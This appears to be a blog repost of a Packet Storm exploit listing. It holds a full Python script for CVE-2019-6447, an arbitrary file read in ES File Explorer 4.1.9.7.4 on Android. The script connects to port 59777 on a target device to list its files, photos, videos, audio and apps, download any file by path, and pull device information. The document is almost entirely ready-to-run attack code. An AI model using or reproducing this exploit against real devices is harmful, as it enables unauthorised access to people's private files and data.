Read\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nES File Explorer version 4.1.9.7.4 arbitrary file read exploit.\n\nMD5 | 3c25d5c9cc6d583b07aa0211035656b6\n\nDownload\n# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read\n# Date: 29/06/2021\n# Exploit Author: Nehal Zaman\n# Version: ES File Explorer v4.1.9.7.4\n# Tested on: Android\n# CVE : CVE-2019-6447\n\nimport requests\nimport json\nimport ast\nimport sys\n\nif len(sys.argv) < 3:\nprint(f\"USAGE {sys.argv[0]} <ip[file to download]\")\nsys.exit(1)\n\nurl = 'http://' + sys.argv[2] + ':59777'\ncmd = sys.argv[1]\ncmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']\nlistCmds = cmds[:9]\nif cmd not in cmds:\nprint(\"[-] WRONG COMMAND!\")\nprint(\"Available commands : \")\nprint(\"  listFiles         : List all Files.\")\nprint(\"  listPics          : List all Pictures.\")\nprint(\"  listVideos        : List all videos.\")\nprint(\"  listAudios        : List all audios.\")\nprint(\"  listApps          : List Applications installed.\")\nprint(\"  listAppsSystem    : List System apps.\")\nprint(\"  listAppsPhone     : List Communication related apps.\")\nprint(\"  listAppsSdcard    : List apps on the SDCard.\")\nprint(\"  listAppsAll       : List all Application.\")\nprint(\"  getFile           : Download a file.\")\nprint(\"  getDeviceInfo     : Get device info.\")\nsys.exit(1)\n\nprint(\"\\n==================================================================\")\nprint(\"|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |\")\nprint(\"|                Coded By : Nehal a.k.a PwnerSec                 |\")\nprint(\"==================================================================\\n\")\n\nheader = {\"Content-Type\" : \"application/json\"}\nproxy = {\"http\":\"http://127.0.0.1:8080\", \"https\":\"https://127.0.0.1:8080\"}\n\ndef httpPost(cmd):\ndata = json.dumps({\"command\":cmd})\nresponse = requests.post(url, headers=header, data=data)\nreturn ast.literal_eval(response.text)\n\ndef parse(text, keys):\nfor dic in text:\nfor key in keys:\nprint(f\"{key} : {dic[key]}\")\nprint('')\n\ndef do_listing(cmd):\nresponse = httpPost(cmd)\nif len(response) == 0:\nkeys = []\nelse:\nkeys = list(response[0].keys())\nparse(response, keys)\n\nif cmd in listCmds:\ndo_listing(cmd)\n\nelif cmd == cmds[9]:\nif len(sys.argv) != 4:\nprint(\"[+] Include file name to download.\")\nsys.exit(1)\nelif sys.argv[3][0] != '/':\nprint(\"[-] You need to provide full path of the file.\")\nsys.exit(1)\nelse:\npath = sys.argv[3]\nprint(\"[+] Downloading file...\")\nresponse = requests.get(url + path)\nwith open('out.dat','wb') as wf:\nwf.write(response.content)\nprint(\"[+] Done. Saved as `out.dat`.\")\n\nelif cmd == cmds[10]:\nresponse = httpPost(cmd)\nkeys = list(response.keys())\nfor key in keys:\nprint(f\"{key} : {response[key]}\")\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:47.802051Z"}]}